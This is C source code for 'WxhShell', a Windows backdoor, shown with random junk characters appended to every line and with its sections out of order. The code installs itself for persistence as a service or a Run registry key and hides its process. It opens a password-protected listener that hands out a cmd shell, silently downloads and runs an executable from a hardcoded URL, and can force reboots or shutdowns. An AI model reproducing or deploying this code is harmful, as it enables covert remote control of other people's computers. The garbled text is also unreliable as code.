    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R<sJ^nx  
    else { t'BLVCu  
    closesocket(wsh); (7XCA,KTGI  
    ExitThread(0); _/Gczy4)#  
    } V6t,BJjS  
    break; `kbSu}  
    } 6T+FH;h  
  // 获取shell 5O~HWBX.  
  case 's': { Mr?Xp(.}G  
    CmdShell(wsh); j6>.n49_  
    closesocket(wsh); .u:81I=w(  
    ExitThread(0); G2t;DN(  
    break; *NkA8PC  
  } 'rMN=1:iu"  
  // 退出 M&N B/  
  case 'x': { A;/-u<f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vw>2(K=e1  
    CloseIt(wsh); '|S%a MLZ)  
    break; w=j  
    } Mu{;vf|j  
  // 离开 Nc+,&R13m  
  case 'q': { o4*+T8[|5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;3\3q1oX  
    closesocket(wsh); S:TgFt0  
    WSACleanup(); e*@{%S  
    exit(1); k$H%.l;E  
    break; H|R T?Q  
        } K?s+3  
  } FDVcow*]n  
  } l5\"9 ,<  
UNPezHaz  
  // 提示信息 2zVJvn7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bn61AFy`  
} ,hq)1u  
  } AZa 6 C w  
F%i^XA]a*  
  return; |tv"B@`  
} jy giG&H  
=+-Yxh|*  
// shell模块句柄 jeGj<m  
int CmdShell(SOCKET sock) ]wKzE4Z/  
{ F)s{PCl  
STARTUPINFO si; w3=%*<  
ZeroMemory(&si,sizeof(si)); AtF3%Z v2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pGf@z:^{*-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {e+-vl  
PROCESS_INFORMATION ProcessInfo; v2H#=E4cZ#  
char cmdline[]="cmd"; zX0md x<|<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <$F\Nk|x  
  return 0; g.'yZvaP  
} fv`O4  
taFn![}/!g  
// 自身启动模式 s<9RKfm  
int StartFromService(void) }0u8r`  
{ C?i >.t  
typedef struct D\[h:8k  
{ ~er\~kp  
  DWORD ExitStatus; :>TEDy~O%  
  DWORD PebBaseAddress; &v"3*.org@  
  DWORD AffinityMask; E2cB U{x  
  DWORD BasePriority; oS7(s  
  ULONG UniqueProcessId; \3'9Uz,OC  
  ULONG InheritedFromUniqueProcessId; aX~%5 mF  
}   PROCESS_BASIC_INFORMATION; AX= 1b,s  
3t<a $i  
PROCNTQSIP NtQueryInformationProcess; <{2e#Y  
!-N6l6N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X66VU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]d a^xWK  
INkD=tX  
  HANDLE             hProcess; ?Y:8eD"*  
  PROCESS_BASIC_INFORMATION pbi; zN{K5<7o  
\0mb 3Q'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~(pmLZ<GW}  
  if(NULL == hInst ) return 0; lY{FSGp  
(tCUlX2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vfl5Mx4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jCrpL~tWT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H|ER  
srYJp^sC  
  if (!NtQueryInformationProcess) return 0; ^bc;[x&N  
c%[#~;E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KN?6;G{  
  if(!hProcess) return 0; ithewup  
LwhyE:1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )13dn]o=2  
D K=cVpN%s  
  CloseHandle(hProcess); BCe|is0  
y_HN6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T"&)&"W*U  
if(hProcess==NULL) return 0; FL8g5I  
- !>}_AH  
HMODULE hMod; Ov UI@,Ef  
char procName[255]; 0TmR/uUT  
unsigned long cbNeeded; "Ae@lINn[y  
 1~l I8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^-rfvc  
qwK2WE%T  
  CloseHandle(hProcess); MY/3] g<  
Zum0J{l h  
if(strstr(procName,"services")) return 1; // 以服务启动 c-g)eV|)S  
@FC"nM  
  return 0; // 注册表启动 ' j6gG  
} FJ %  
_>=L>*  
// 主模块 vTaJqEE  
int StartWxhshell(LPSTR lpCmdLine) $b<6y/"  
{ =xsTDjH>  
  SOCKET wsl; ovwQ2TuK  
BOOL val=TRUE; GEEW?8  
  int port=0; uA$<\fnz  
  struct sockaddr_in door; m85WA # `  
`u.t[  
  if(wscfg.ws_autoins) Install(); iSFuT7; %  
f+|$&p%  
port=atoi(lpCmdLine); /sr2mt-Q  
&AlJ "N|  
if(port<=0) port=wscfg.ws_port; ?%VI{[y#>  
52. >+GC  
  WSADATA data; }?&k a$rI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3Wwj p  
P7 PB t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :> &fV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M:P0m6ie  
  door.sin_family = AF_INET; '{ [5M!B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $5v0m#[^  
  door.sin_port = htons(port); .<z!3O&L  
FSRm|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (YY~{W$w(  
closesocket(wsl); `;YU.*  
return 1; oW^*l#v  
} @]q BF]6  
*=fr8  
  if(listen(wsl,2) == INVALID_SOCKET) { ;SwMu@tg  
closesocket(wsl); l~D N1z6`  
return 1; ?x^z]N|P  
} /B5-Fx7j3  
  Wxhshell(wsl); A/7X9ir  
  WSACleanup(); _BFOc>0  
?88`fJ@tk?  
return 0; pA;-v MpMj  
~+<olss_  
} G60R9y47c  
t+?P^Ok  
// 以NT服务方式启动 .XkMk|t8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lQfL3`X!  
{ .>wv\i [p  
DWORD   status = 0; =?h~.lo  
  DWORD   specificError = 0xfffffff; 0 a~HiIh  
ZhNdB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BS q)RV/3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +n})Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kQaSbpNmH  
  serviceStatus.dwWin32ExitCode     = 0; ?:|-Dq,  
  serviceStatus.dwServiceSpecificExitCode = 0; |v[Rp=?]  
  serviceStatus.dwCheckPoint       = 0; Qu< Bu)`  
  serviceStatus.dwWaitHint       = 0; pxSX#S6I  
_/S?#   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K^rIG6  
  if (hServiceStatusHandle==0) return; -dv %H{  
?0_7?yTR/  
status = GetLastError(); .bVmqR`  
  if (status!=NO_ERROR) IScRsxFb  
{ UZEI:k,dv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x f4{r+  
    serviceStatus.dwCheckPoint       = 0; $ n,Z  
    serviceStatus.dwWaitHint       = 0; F`nb21{0y&  
    serviceStatus.dwWin32ExitCode     = status; cst}Ibf i  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9s}Kl($  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uY< H#k  
    return; |3+m%;X  
  } )2DQ>cm  
XhdSFxW}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xyH/e*a  
  serviceStatus.dwCheckPoint       = 0; Z+pom7A"E  
  serviceStatus.dwWaitHint       = 0; p"*y58  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CC;! <km  
} 'cNKjL;  
ds[QwcV9-  
// 处理NT服务事件,比如:启动、停止 NNG}M(/V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T@%m7|P  
{ e4I^!5)N  
switch(fdwControl) O:#+%  
{ M=xQ=j?  
case SERVICE_CONTROL_STOP: vG^#Sfgtw  
  serviceStatus.dwWin32ExitCode = 0; hF3&i=;.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AM} brO  
  serviceStatus.dwCheckPoint   = 0; (-NHx o  
  serviceStatus.dwWaitHint     = 0; )' xETA  
  { ;eigOU]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eQO#Qso]  
  } M+wt_ _vHf  
  return; +pH@oFNK  
case SERVICE_CONTROL_PAUSE: \Hqc 9&0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n:U>Fj>q  
  break; 0Q593F  
case SERVICE_CONTROL_CONTINUE: nK3 k]gLc{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7&O`p(j  
  break; )4xu^=N&as  
case SERVICE_CONTROL_INTERROGATE: %~j2 ('Y  
  break; .[DthEF  
}; vRA',(](  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zH=!*[d8  
} *QM~O'WhD  
69kJC/1+l  
// 标准应用程序主函数 w:o-klKXY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /,5Z-Z*wq  
{ Je4Z(kj 0  
^*R(!P^  
// 获取操作系统版本 rVQX7l#YI  
OsIsNt=GetOsVer(); rOD1_X-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _SZ5P>GIU  
gQ~5M'#  
  // 从命令行安装 g8ES8S M  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^IgY d*5  
jnu Y{0(&  
  // 下载执行文件 [ neXFp}S  
if(wscfg.ws_downexe) { ~un%4]U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |m,VTViv;i  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?p[O%_Xf  
} r^HA aGpC  
j2 h[70fWC  
if(!OsIsNt) { w W$(r-  
// 如果时win9x,隐藏进程并且设置为注册表启动 ovf/;Q/}  
HideProc(); WW@"Z}?k  
StartWxhshell(lpCmdLine); GR'Ti*Qi  
} r)1Z(tl  
else 1xnLB>jP#  
  if(StartFromService()) G>T')A  
  // 以服务方式启动 tJ& 5tNl  
  StartServiceCtrlDispatcher(DispatchTable); A%Z)wz{  
else 7s'- +~  
  // 普通方式启动 $e\N+~KNCy  
  StartWxhshell(lpCmdLine); %@ mGK8  
kvsA]tK.  
return 0; v7trr W}  
} AyE\fY5  
&h$|j  
Y9r3XhVI  
daZQz"PP  
=========================================== )_jSG5k  
=Pe><k  
ED![^=  
,:v&4x&=  
OQlG+|  
KA]*ox6j;  
" yno('1B@  
=G-N` 39  
#include <stdio.h> 6k])KlJ2;  
#include <string.h> 4ax|Vb)D  
#include <windows.h>  W^g[L:s  
#include <winsock2.h> w,.qCpT$_  
#include <winsvc.h> ySdN;d:q  
#include <urlmon.h> #Gv{UU$]  
fW0$s`  
#pragma comment (lib, "Ws2_32.lib") wpPn}[a  
#pragma comment (lib, "urlmon.lib") `T!#@&+  
sLcY,AH  
#define MAX_USER   100 // 最大客户端连接数 ]]iO- }  
#define BUF_SOCK   200 // sock buffer v:ER 4  
#define KEY_BUFF   255 // 输入 buffer _; ]e@  
>cOei K  
#define REBOOT     0   // 重启 0x)dnq\  
#define SHUTDOWN   1   // 关机  v%{0 Tyk  
WXUkuO  
#define DEF_PORT   5000 // 监听端口   &LQ%  
>kYp%r6  
#define REG_LEN     16   // 注册表键长度 G`]w?Di4  
#define SVC_LEN     80   // NT服务名长度 aSaAC7sFk  
)3?rXsSR  
// 从dll定义API ysXx%k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B0mLI%B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gb-{2p>}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yx?aC!5M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -rY 7)=  
s_wUM)!  
// wxhshell配置信息 J?712=9  
struct WSCFG { 2P~)I)3V  
  int ws_port;         // 监听端口 A! 6r/   
  char ws_passstr[REG_LEN]; // 口令 ahIE;Y\j'  
  int ws_autoins;       // 安装标记, 1=yes 0=no mVH,HqsXa  
  char ws_regname[REG_LEN]; // 注册表键名 H:oQ  
  char ws_svcname[REG_LEN]; // 服务名 SX+RBVZU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 delf ]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y_H/3?b%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E8[XG2ye  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ku.A|+Tn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,ECAan/@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .gD km^  
Enj_tJs  
}; LM,fwAX  
!*a[jhx  
// default Wxhshell configuration [e4![G&y`  
struct WSCFG wscfg={DEF_PORT, 6$ e]i|e  
    "xuhuanlingzhe", (r F?If  
    1, d /j@_3'  
    "Wxhshell", 8 $ ~3ra  
    "Wxhshell", jUY+3"?   
            "WxhShell Service", ( tn< VK.  
    "Wrsky Windows CmdShell Service", h`?k.{})M  
    "Please Input Your Password: ", !$kR ;Q"/  
  1, M<oA<#IW  
  "http://www.wrsky.com/wxhshell.exe", B?(4f2yE  
  "Wxhshell.exe" oX|?:MS:  
    }; ToU.mM?f^  
#8?^C]*{0  
// 消息定义模块 };SV!'9s?~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YOw?'+8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :EB,{|m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dB)9K)  
char *msg_ws_ext="\n\rExit."; k,_i#9 X  
char *msg_ws_end="\n\rQuit."; `jW 4H$D  
char *msg_ws_boot="\n\rReboot..."; do' ORcZ  
char *msg_ws_poff="\n\rShutdown..."; x;U|3{I o  
char *msg_ws_down="\n\rSave to "; +i)AS0?d  
$%He$t  
char *msg_ws_err="\n\rErr!"; YBylyVZ  
char *msg_ws_ok="\n\rOK!"; ^ KAG|r9  
(+MC<J/i  
char ExeFile[MAX_PATH]; f)Y  
int nUser = 0; A'g,:8Ou  
HANDLE handles[MAX_USER]; #]zhZW4  
int OsIsNt; W8* 2;F]  
P6HGs? *  
SERVICE_STATUS       serviceStatus; "L_-}BK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |cu`f{E2]  
oyQ0V94j  
// 函数声明 /.ZaE+  
int Install(void); M:|/ijp N  
int Uninstall(void); 8A/>JD3^  
int DownloadFile(char *sURL, SOCKET wsh); ;Q90Y&{L=$  
int Boot(int flag); TcZN %  
void HideProc(void); H-a^BZ&iU  
int GetOsVer(void); -A;w$j6*  
int Wxhshell(SOCKET wsl); "^"'uO$  
void TalkWithClient(void *cs); csvO g[  
int CmdShell(SOCKET sock);  q)oN 2-  
int StartFromService(void); E\! n49  
int StartWxhshell(LPSTR lpCmdLine); !3x *k;0  
ewQe/Fq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,>w}xWSYpG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pzSqbgfrQ  
+ (=I8s/  
// 数据结构和表定义 1*c>I@I;  
SERVICE_TABLE_ENTRY DispatchTable[] = h#O"Q+J9n  
{ )k~1,  
{wscfg.ws_svcname, NTServiceMain}, <ge}9pU)o^  
{NULL, NULL} '>]&rb09|  
}; `]&*`9IK{  
s!`H  
// 自我安装 T9y768%  
int Install(void) uN(b.5y  
{ L]>4Nd  
  char svExeFile[MAX_PATH]; d#7]hF  
  HKEY key; w`Xg%*]}  
  strcpy(svExeFile,ExeFile); ^BNp`x;;`  
AA.Ys89V  
// 如果是win9x系统,修改注册表设为自启动 x\]z j!  
if(!OsIsNt) { SJ[AiHR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6`W|V+6|7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TU-c9"7M~  
  RegCloseKey(key); MA"#rOcP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eaxfn]gV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2:~cJk{  
  RegCloseKey(key); /=ACdJ  
  return 0; Wxk; g  
    } *#GDi'0  
  } ex0oAt^  
} & qL<C  
else { w5 Z2N[hy  
9b%|^ .B  
// 如果是NT以上系统,安装为系统服务 [yvt1:q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vku#;:yUb^  
if (schSCManager!=0) Un\Ubqi0  
{ -;<>tq'3`  
  SC_HANDLE schService = CreateService d}VALjXHX!  
  ( t .L4%1OF  
  schSCManager, DA=qeVBg  
  wscfg.ws_svcname, &58 {  
  wscfg.ws_svcdisp, #AvEH=:  
  SERVICE_ALL_ACCESS, %A=|'6)k2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K+-zY[3  
  SERVICE_AUTO_START, N+hedF@ZU  
  SERVICE_ERROR_NORMAL, *LEu=3lp%>  
  svExeFile, bkkSIl+Q  
  NULL, _y"a2M  
  NULL, p4y6R4kyT  
  NULL, ]p\u$VY9  
  NULL, -B,cB  
  NULL ZGzc"r(r:#  
  ); Vp\80D&  
  if (schService!=0) *f?S5 .  
  { o[n<M> @  
  CloseServiceHandle(schService); qr9Imr0w<  
  CloseServiceHandle(schSCManager); !^]q0x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b.@H1L  
  strcat(svExeFile,wscfg.ws_svcname); F/xCG nP-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l_ZO^E~D_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F6DxvyANr  
  RegCloseKey(key); {9Db9K^  
  return 0; *afejjW[  
    } A ^-Z)0 :  
  } B3eNFS  
  CloseServiceHandle(schSCManager); m}rh|x/?  
} X;(oz]tr$  
} 3]!h{_:u  
YK7\D:  
return 1; % kJh6J  
} nZ541o@t9  
xl|ghjn  
// 自我卸载 u*U_7Uw$  
int Uninstall(void) A%P 8c  
{ \4/:^T}*  
  HKEY key; <3)|44.o&  
k+f1sV[4}  
if(!OsIsNt) { t[/\KG8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2'|XtSj  
  RegDeleteValue(key,wscfg.ws_regname); ,YQ=Zk)w  
  RegCloseKey(key); $vW^n4!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0c`sb+?  
  RegDeleteValue(key,wscfg.ws_regname); fJvr+4i4k  
  RegCloseKey(key); 219R&[cb  
  return 0; (I>HWRH  
  } prqyoCfq  
} >eEnQ}Y  
} F9F" F  
else { 3>H2xh3Y  
Tw}@+-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j/~VP2R`  
if (schSCManager!=0) D 8gQR Q  
{ ?U}sQ;c$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vwm|I7/w  
  if (schService!=0) y9=t;qH@|  
  { .zQ4/  
  if(DeleteService(schService)!=0) { ; A x=]Q  
  CloseServiceHandle(schService); )\RzE[Cb  
  CloseServiceHandle(schSCManager); ix(U:'{  
  return 0; =kwb` Z/a  
  } 7Y%!,ff  
  CloseServiceHandle(schService); 3L?WTS6(u  
  } H U:1f)a a  
  CloseServiceHandle(schSCManager); FK-}i|di  
} wEZ,49  
} PG\\V$}A(  
jG =(w4+  
return 1; 7qW.h>%WE  
} f:n]Exsy  
k,a,h^{}j  
// 从指定url下载文件 JqL<$mSep  
int DownloadFile(char *sURL, SOCKET wsh) <ur KIu  
{ 5JO[+>  
  HRESULT hr; =%Q\*xaR.W  
char seps[]= "/"; zNNzsT8na  
char *token; eL>K2Jxq  
char *file; Z'voCWCd  
char myURL[MAX_PATH]; 5Xp$ yX =  
char myFILE[MAX_PATH]; 9`OG  
,G916J*XA  
strcpy(myURL,sURL); jK& Nkp  
  token=strtok(myURL,seps); iSnIBs9\  
  while(token!=NULL) Kh>?!` lL  
  { 0*37D 5jH  
    file=token; 3FGbQ_  
  token=strtok(NULL,seps); #k"1wSx16  
  } 516VQ<?B  
\a{Aa  
GetCurrentDirectory(MAX_PATH,myFILE); ?y+\v'3v  
strcat(myFILE, "\\"); 9m<wcZ  
strcat(myFILE, file); P}ehNt*($  
  send(wsh,myFILE,strlen(myFILE),0); R1]v}f_I"  
send(wsh,"...",3,0); 3N(8| wh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0SAG6k~x  
  if(hr==S_OK) z4 4  
return 0; oA(. vr  
else ]s1TJw [B  
return 1; 4U}.Skzq  
cRs{=RGc  
} c.|sW2/  
8Uj68Jl?  
// 系统电源模块 uYG #c(lc  
int Boot(int flag) Ws2prh^e(  
{ {Hktu|  
  HANDLE hToken; a7QlU=\  
  TOKEN_PRIVILEGES tkp; eyI-s9#t  
&xPOp$Sx~  
  if(OsIsNt) { `XQx$I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O[i2A (  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y?"v2~;3  
    tkp.PrivilegeCount = 1; fY| @{]rx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v*vub#wP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D'HL /[@`  
if(flag==REBOOT) {  ` 4s#5g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >=Rd3dgDG  
  return 0; bAA'=z<  
} d +*T@k]>M  
else { 17MN8SfQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *so6]+)cU  
  return 0; ,*9#c*'S  
} =RCfibT!C  
  } ; /6:lL  
  else { {,nd_3"Vq  
if(flag==REBOOT) { |THkS@Br  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @j)f(Zlu#  
  return 0; /NPl2\o.  
} >tE,8  
else { E-*>f"<h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *g/I&'^  
  return 0; ND)M3qp2(  
} I(iGs I  
} i]h R7g<  
=CD:.FG.  
return 1; A;/Xt  
} ;iwD/=Y  
LN,$P  
// win9x进程隐藏模块 Zp% ""  
void HideProc(void) @E&X &F%  
{ f4@#pnJ3po  
RP ScP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #/& q  
  if ( hKernel != NULL ) )VSGqYr#  
  { _zVbqRHlw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bOnukbJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j,gM+4V^  
    FreeLibrary(hKernel); 7+A-7ci  
  } .q'FSEkMJ  
h:US]ZC^Z  
return;  K2vPj|  
} cSHtl<UY  
B<|q{D$N/  
// 获取操作系统版本 p!rG PyGC  
int GetOsVer(void) >E 2WZHzd2  
{ Hsux>+Q  
  OSVERSIONINFO winfo; %Pt[3>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); unbcz{&Hb[  
  GetVersionEx(&winfo); Ay[9k=q]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ri%Of:zZ  
  return 1; s]V{}bY`  
  else $D2Ain1  
  return 0; O7L6Htya  
} QKL]O*  
<T=o]M$  
// 客户端句柄模块  hE?GO,  
int Wxhshell(SOCKET wsl) #!F8n`C-  
{ [))2u:tbS\  
  SOCKET wsh; M#22Zfxq   
  struct sockaddr_in client; a7 '\*  
  DWORD myID; }~0{1&  
8 )2u@sx%  
  while(nUser<MAX_USER) R.n`R|NOd  
{ 36D,el In  
  int nSize=sizeof(client); Q=9VuTE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EzY scX.[  
  if(wsh==INVALID_SOCKET) return 1; KcMzZ!d7m  
xX67bswG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l<+,(E=  
if(handles[nUser]==0) <P Z\qE*+y  
  closesocket(wsh); _ZvX"{y~  
else EWvid4QEi  
  nUser++; [+[fD  
  } 7C 6BZ$(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %%-Tjw o  
9"l%tq_  
  return 0; nq w*oLFQ  
} Zq6ebj  
@rDv (W  
// 关闭 socket {UjIxV(J  
void CloseIt(SOCKET wsh) N'1[t  
{ ,'@ISCK^  
closesocket(wsh); '\3.isTsx  
nUser--; ,\">ovV33  
ExitThread(0); k? _$h<Y  
} R|^t~h-  
BtDgv.;GH  
// 客户端请求句柄 HoQ(1e$G-  
void TalkWithClient(void *cs) 8B(Q7Qj  
{ ?eZ"UGZg'  
boHm1hPKS  
  SOCKET wsh=(SOCKET)cs; 8C4@V[sm`  
  char pwd[SVC_LEN]; OTr!?xi  
  char cmd[KEY_BUFF]; 085 ^!AZ  
char chr[1]; m~\m"zJ4  
int i,j; Uu<sntyv  
b9!J}hto,  
  while (nUser < MAX_USER) { #p^pvdvh3  
U*#E aL  
if(wscfg.ws_passstr) { A 5\"e^>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L?pvz}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JZ*?1S>  
  //ZeroMemory(pwd,KEY_BUFF); ,@j& q  
      i=0; ), x3tTR  
  while(i<SVC_LEN) { 1 </t #r  
Zi'8~iEH  
  // 设置超时 P<w>1 =  
  fd_set FdRead; E9NGdp&-Ah  
  struct timeval TimeOut; Nl>b'G96  
  FD_ZERO(&FdRead); 7B>cmi  
  FD_SET(wsh,&FdRead); pLFL6\{g  
  TimeOut.tv_sec=8; @;-Un/'C;7  
  TimeOut.tv_usec=0; |kRx[UL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S}oF7;'Ga  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r_2VExk  
bu!<0AP"N+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [ZpG+VAJ8  
  pwd=chr[0]; a~+WL  
  if(chr[0]==0xd || chr[0]==0xa) { z K]%qv]  
  pwd=0;  7qdl,z  
  break; "gVH;<&]  
  } QrRCsy70  
  i++; (inwKRH  
    } b8xfV{3L  
nT6iS}h  
  // 如果是非法用户,关闭 socket "MKsSty  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &ppZRdq]  
} Pn){xfqDl  
t7& GCZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _ -FQ78C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D}C*8s bC}  
(3HgI  
while(1) { RAJ |#I1  
Kwmo)|7uPU  
  ZeroMemory(cmd,KEY_BUFF); :1Yd;%>92  
jfhDi6N  
      // 自动支持客户端 telnet标准   p~ VW3u]  
  j=0; YRX2^v ^[  
  while(j<KEY_BUFF) { |r!Qhb.!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;C@^wI  
  cmd[j]=chr[0]; .ceU @^  
  if(chr[0]==0xa || chr[0]==0xd) { M> l+[U  
  cmd[j]=0; jT_Tx\k  
  break; yru}f;1  
  } fpC@3itI  
  j++; v8M#%QoA  
    } m(Xr5hw:6  
&_TjRj"  
  // 下载文件 ~]s"PV:|  
  if(strstr(cmd,"http://")) { s~'C'B?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  l3 Bc g  
  if(DownloadFile(cmd,wsh)) iK23`@&% _  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lr]Hvd   
  else >TVd*S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &dMSX}t  
  } \{^yB4F_Z  
  else { 'wHkE/ 83  
JH,fg K+[  
    switch(cmd[0]) { m|?J^_  
  mAERZ<I  
  // 帮助 T[II;[EiE  
  case '?': { :9< r(22  
